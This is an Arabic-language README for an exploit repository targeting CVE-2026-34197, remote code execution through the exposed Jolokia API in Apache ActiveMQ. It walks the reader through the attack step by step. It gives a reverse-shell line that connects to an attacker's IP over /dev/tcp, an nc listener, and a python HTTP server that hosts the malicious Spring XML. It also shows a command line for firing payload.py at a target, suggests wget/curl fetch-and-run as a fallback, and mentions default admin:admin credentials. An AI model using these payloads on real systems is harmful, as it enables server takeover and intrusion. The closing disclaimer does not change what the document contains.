
نص استغلال ثغرة CVE-2026-34197، يستهدف واجهة برمجة تطبيقات Jolokia في Apache ActiveMQ لتحقيق تنفيذ التعليمات البرمجية عن بُعد عبر تكوين Spring XML خبيث، مع إمكانية فتح قشرة عكسية.
يوفر هذا المستودع بيئة إعادة إنتاج وسكربت استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) بناءً على واجهة Jolokia API المكشوفة (/api/jolokia/) في Apache ActiveMQ.
من خلال استدعاء عملية addNetworkConnector، يتم إجبار ActiveMQ على تحليل ملف تكوين Spring XML خبيث تم إنشاؤه عن بُعد، وبالتالي استغلال MethodInvokingFactoryBean لتنفيذ أوامر النظام.
payload.py: السكربت الرئيسي للاستغلال، يرسل طلبات HTTP POST مع اسم Broker ديناميكي.payload.xml: ملف تكوين Spring Bean الخبيث، ويحتوي على حمولة أوامر Reverse Shell.pip install requests
apache/activemq-classic:6.1.0).payload.xml)افتح payload.xml على جهاز المهاجم وابحث عن الجزء التالي:
<value>bash -c 'bash -i >& /dev/tcp/عنوان_IP_الخاص_بخادمك_السحابي/15000 0>&1'</value>
استبدل عنوان IP بعنوان IP العام لخادمك السحابي. إذا لم تكن بيئة الهدف تحتوي على bash، فغيّرها إلى sh أو أي طريقة تنفيذ أخرى حسب بيئة الهدف.
افتح طرفية على جهاز المهاجم (الخادم السحابي) واستمع على المنفذ المحدد (مثل 15000):
nc -lvvp 15000
ملاحظة: تأكد من أن مجموعة الأمان/جدار الحماية للخادم السحابي قد سمحت بحركة المرور الواردة على منفذ TCP 15000.
على جهاز المهاجم (في نفس الدليل الذي يحتوي على payload.xml)، شغّل خادم HTTP ليتمكن الهدف من تنزيل ملف XML:
python3 -m http.server 9000
ملاحظة: تأكد أيضًا من أن مجموعة الأمان/جدار الحماية للخادم السحابي قد سمحت بحركة المرور الواردة على منفذ TCP 9000.
قم بتشغيل payload.py على جهازك المحلي (أو جهاز المهاجم).
يدعم السكربت تمرير عنوان IP:منفذ ActiveMQ الهدف (-t) وعنوان IP:منفذ استضافة XML على جهاز المهاجم (-a) عبر وسائط سطر الأوامر.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
بعد التشغيل، سيقوم السكربت تلقائيًا بإنشاء brokerName عشوائي (مثل rce_a1b2c3) لحل مشكلة تعارض الأسماء java.io.IOException : Network Connector could not be registered in JMX بشكل نهائي.
إذا نجح الاستغلال:
python3 -m http.server 9000) سجل طلب GET 200 لـ /payload.xml.nc الخاص بك اتصال Reverse Shell من الجهاز الهدف./bin/bash (شائع في الصور الأساسية المصغرة مثل Alpine). يرجى تعديل أمر التنفيذ في payload.xml إلى /bin/sh، أو استخدام سكربت عبر wget/curl ثم تنفيذه.admin:admin).هذا السكربت والتعليمات مخصصة فقط للاختبارات الأمنية المصرح بها والتعليم والتعلم. يُحظر تمامًا استخدامها لأي اختبارات غير قانونية غير مصرح بها. يتحمل المستخدم المسؤولية الكاملة عن أفعاله.